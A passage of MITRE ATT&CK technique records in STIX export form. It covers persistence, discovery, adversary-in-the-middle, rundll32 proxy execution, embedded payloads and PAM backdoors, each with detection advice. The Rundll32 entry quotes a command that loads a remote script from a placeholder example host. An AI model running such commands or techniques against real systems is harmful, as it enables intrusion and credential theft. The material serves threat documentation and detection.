attack-pattern | attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:38.910000Z" | "2024-04-16T12:23:13.621000Z" | Boot or Logon Initialization Scripts | Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.
Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1037",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037"
},
{
"description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
"external_id": null,
"source_name": "Anomali Rocke March 2019",
"url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
},
{
"description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
"external_id": null,
"source_name": "Mandiant APT29 Eye Spy Email Nov 22",
"url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Windows",
"Linux",
"Network"
] | 2.3 |
attack-pattern | attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T19:07:12.114000Z" | "2024-04-18T14:26:21.852000Z" | Adversary-in-the-Middle | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)
For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)
Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1557",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1557"
},
{
"description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.",
"external_id": null,
"source_name": "dns_changer_trojans",
"url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats"
},
{
"description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
"external_id": null,
"source_name": "volexity_0day_sophos_FW",
"url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
},
{
"description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.",
"external_id": null,
"source_name": "taxonomy_downgrade_att_tls",
"url": "https://arxiv.org/abs/1809.05681"
},
{
"description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.",
"external_id": null,
"source_name": "ad_blocker_with_miner",
"url": "https://securelist.com/ad-blocker-with-miner-included/101105/"
},
{
"description": "Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.",
"external_id": null,
"source_name": "Token tactics",
"url": "https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"
},
{
"description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.",
"external_id": null,
"source_name": "mitm_tls_downgrade_att",
"url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
},
{
"description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.",
"external_id": null,
"source_name": "Rapid7 MiTM Basics",
"url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"
},
{
"description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.",
"external_id": null,
"source_name": "tlseminar_downgrade_att",
"url": "https://tlseminar.github.io/downgrade-attacks/"
},
{
"description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.",
"external_id": null,
"source_name": "ttint_rat",
"url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux",
"Network"
] | 2.4 |
attack-pattern | attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:35.733000Z" | "2023-09-29T19:50:06.736000Z" | System Owner/User Discovery | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.
On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1033",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1033"
},
{
"description": "Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.",
"external_id": null,
"source_name": "show_ssh_users_cmd_cisco",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html"
},
{
"description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
"url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | `System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.5 |
attack-pattern | attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-09-30T16:37:40.271000Z" | "2024-02-28T21:13:02.648000Z" | Acquire Infrastructure | Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.
Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1583",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583"
},
{
"description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February 22, 2022.",
"external_id": null,
"source_name": "amnesty_nso_pegasus",
"url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
},
{
"description": "Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
"external_id": null,
"source_name": "Mandiant APT29 Microsoft 365 2022",
"url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
},
{
"description": "FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.",
"external_id": null,
"source_name": "FBI Proxies Credential Stuffing",
"url": "https://www.ic3.gov/Media/News/2022/220818.pdf"
},
{
"description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
"external_id": null,
"source_name": "Free Trial PurpleUrchin",
"url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
},
{
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Koczwara Beacon Hunting Sep 2021",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
},
{
"description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "TrendmicroHideoutsLease",
"url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
},
{
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Mandiant SCANdalous Jul 2020",
"url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
},
{
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "ThreatConnect Infrastructure Dec 2020",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information.
Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.4 |
attack-pattern | attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-23T18:03:46.248000Z" | "2023-08-14T15:35:28.965000Z" | Rundll32 | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).
Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1218.011",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/011"
},
{
"description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.",
"external_id": null,
"source_name": "rundll32.exe defense evasion",
"url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/"
},
{
"description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.",
"external_id": null,
"source_name": "Attackify Rundll32.exe Obscurity",
"url": "https://www.attackify.com/blog/rundll32_execution_order/"
},
{
"description": "B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.",
"external_id": null,
"source_name": "This is Security Command Line Confusion",
"url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
},
{
"description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.",
"external_id": null,
"source_name": "Github NoRunDll",
"url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll"
},
{
"description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
"external_id": null,
"source_name": "Trend Micro CPL",
"url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.
Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.2 |
attack-pattern | attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-03-31T14:26:00.848000Z" | "2023-04-15T16:08:50.706000Z" | Container and Resource Discovery | Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.
These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1613",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1613"
},
{
"description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.",
"external_id": null,
"source_name": "Docker API",
"url": "https://docs.docker.com/engine/api/v1.41/"
},
{
"description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Kubernetes API",
"url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.
Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Containers"
] | 1.1 |
attack-pattern | attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-07-08T12:39:29.684000Z" | "2022-10-20T21:20:22.578000Z" | Serverless | Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1583.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/007"
},
{
"description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.",
"external_id": null,
"source_name": "AWS Lambda Redirector",
"url": "https://blog.xpnsec.com/aws-lambda-redirector/"
},
{
"description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.",
"external_id": null,
"source_name": "Detecting Command & Control in the Cloud",
"url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
},
{
"description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.",
"external_id": null,
"source_name": "BlackWater Malware Cloudflare Workers",
"url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
|
attack-pattern | attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-14T23:36:52.095000Z" | "2023-03-03T00:31:33.071000Z" | Standard Encoding | Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1132.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1132/001"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "Wikipedia Binary-to-text Encoding",
"url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
},
{
"description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "Wikipedia Character Encoding",
"url": "https://en.wikipedia.org/wiki/Character_encoding"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-09-30T18:50:14.351000Z" | "2023-09-29T21:14:57.263000Z" | Embedded Payloads | Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)
Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage)
For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021)
Embedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.009",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/009"
},
{
"description": "Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September 30, 2022.",
"external_id": null,
"source_name": "GitHub PSImage",
"url": "https://github.com/peewpw/Invoke-PSImage"
},
{
"description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 – PowerShell Script: ComRAT. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Malware Analysis Report ComRAT",
"url": "https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a"
},
{
"description": "Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Trend Micro",
"url": "https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html"
},
{
"description": "KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Securelist Dtrack2",
"url": "https://securelist.com/my-name-is-dtrack/93338/"
},
{
"description": "Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Microsoft Learn",
"url": "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1"
},
{
"description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.",
"external_id": null,
"source_name": "SentinelLabs reversing run-only applescripts 2021",
"url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
},
{
"description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Sentinel Labs",
"url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Windows",
"Linux"
] | 1.1 |
|
attack-pattern | attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-06-26T04:01:09.648000Z" | "2021-10-17T14:48:33.580000Z" | Pluggable Authentication Modules | Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)
Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1556.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/003"
},
{
"description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.",
"external_id": null,
"source_name": "Apple PAM",
"url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt"
},
{
"description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.",
"external_id": null,
"source_name": "Man Pam_Unix",
"url": "https://linux.die.net/man/8/pam_unix"
},
{
"description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.",
"external_id": null,
"source_name": "Red Hat PAM",
